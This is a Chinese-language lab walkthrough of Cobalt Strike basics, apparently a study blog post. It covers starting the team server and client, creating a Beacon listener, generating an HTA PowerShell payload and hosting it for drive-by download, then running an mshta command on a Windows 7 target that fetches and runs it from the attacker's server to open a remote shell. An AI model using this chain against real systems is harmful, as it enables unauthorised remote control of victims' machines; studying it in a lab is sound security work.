CobaltStrike系列學習筆記——(一)基礎流程
實驗環境 | 系統 | IP地址 |
---|---|---|
CobaltStrike(服務器/客戶端) | kali | 192.168.134.130 |
靶機 | win7 | 192.168.134.135 |
CobaltStrike分爲服務端和客戶端,爲了方便操作,本次實驗中我們把服務端和客戶端部署在同一臺主機上。
切換到CobaltStrike所在目錄,執行以下命令,
啓動服務端:
./teamserver 192.168.134.130 limbo
參數說明:
192.168.134.130 團隊服務器的 IP 地址 。
limbo 團隊成員用於將 Cobalt Strike 客戶端連接到團隊服務器的密碼。
啓動客戶端:
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
出現彈窗,這裏我們使用默認的host 192.168.134.130即可,port默認爲50050,在啓動服務端的時候通過回顯也可以得知。如果更改了teamserver文件裏的server_port值那麼在此處就需要改成對應的。user可以隨意設置,password爲我們前面啓動teamserver時的密碼password,檢查無誤後,點擊 Connect。
首次連接的服務器會顯示服務端SSL 證書的SHA256哈希值,請確認它是否和你的服務端啓動時顯示的指紋相匹配,以防止中間人攻擊。Cobalt Strike 還會記住這個SHA256 哈希,方便以後連接。這裏我們點擊是(Y)即可。
成功啓動後界面如下所示:
接下來創建一個listener,
左上角的Cobalt Strike->Listeners
此時在下方出現listeners窗口。我們點擊Add,添加一個新的listener。
Name可以隨意,payload主要分爲beacon和foreign兩大類。
Beacon爲內置的Listener,即在目標主機執行相應的payload,獲取shell到CS上,其中包含DNS、HTTP、SMB。
Foreign爲外部結合的Listener,常用於MSF的結合,例如獲取meterpreter到MSF上。
按照上圖中的樣式填好,單機Save出現如下彈窗。再點擊確定。
選擇攻擊包(這裏採用html應用的攻擊包):Attacks->Packages->HTML Application
選擇攻擊方式,這裏採用PowerShell。
三個選項分別分別是可執行文件,powershell,vb程序。
選擇後點擊Generate生成,然後自定義生成路徑及文件名(這裏我們使用默認值),點擊保存。
選擇攻擊的web驅動方式(這裏採用主機文件的方式):Attacks->Web Drive-by->Host File
如圖所示,在File欄選中前面生成的hta文件的路徑,點擊Launch即可生成鏈接。
這裏得到一個用於執行攻擊的鏈接,複製一下。
切換到靶機上,使用cmd命令行執行如下命令:
mshta http://192.168.134.130:80/download/file.ext
mshta.exe是微軟Windows操作系統相關程序,用於執行.HTA文件。
再回到kali,可以看到肉雞上線了,在Event Log裏面我們也可以看到相關的日誌。
選中這條記錄,右鍵點擊Interact即可與靶機進行交互。
輸入hell shell
獲得幫助提示,執行shell whoami
返回如下(需要等待一會)。
按照樣式執行shell ipconfig
,結果如下圖:
相關操作會記錄在服務端的日誌文件中,在cobalt strike執行的shell命令以及回顯在這兒都保留着,我們可以訪問如下路徑查看:
其中191123指的是日期,192.168.134.135指被控靶機的IP。
以上就是使用cobaltstrike的一套基礎流程,我們簡單回顧一下:
啓動服務端—>在客戶端連接服務端—>創建listener—>創建攻擊載荷—>投遞載荷—>靶機下載執行—>靶機上線—>拿到shell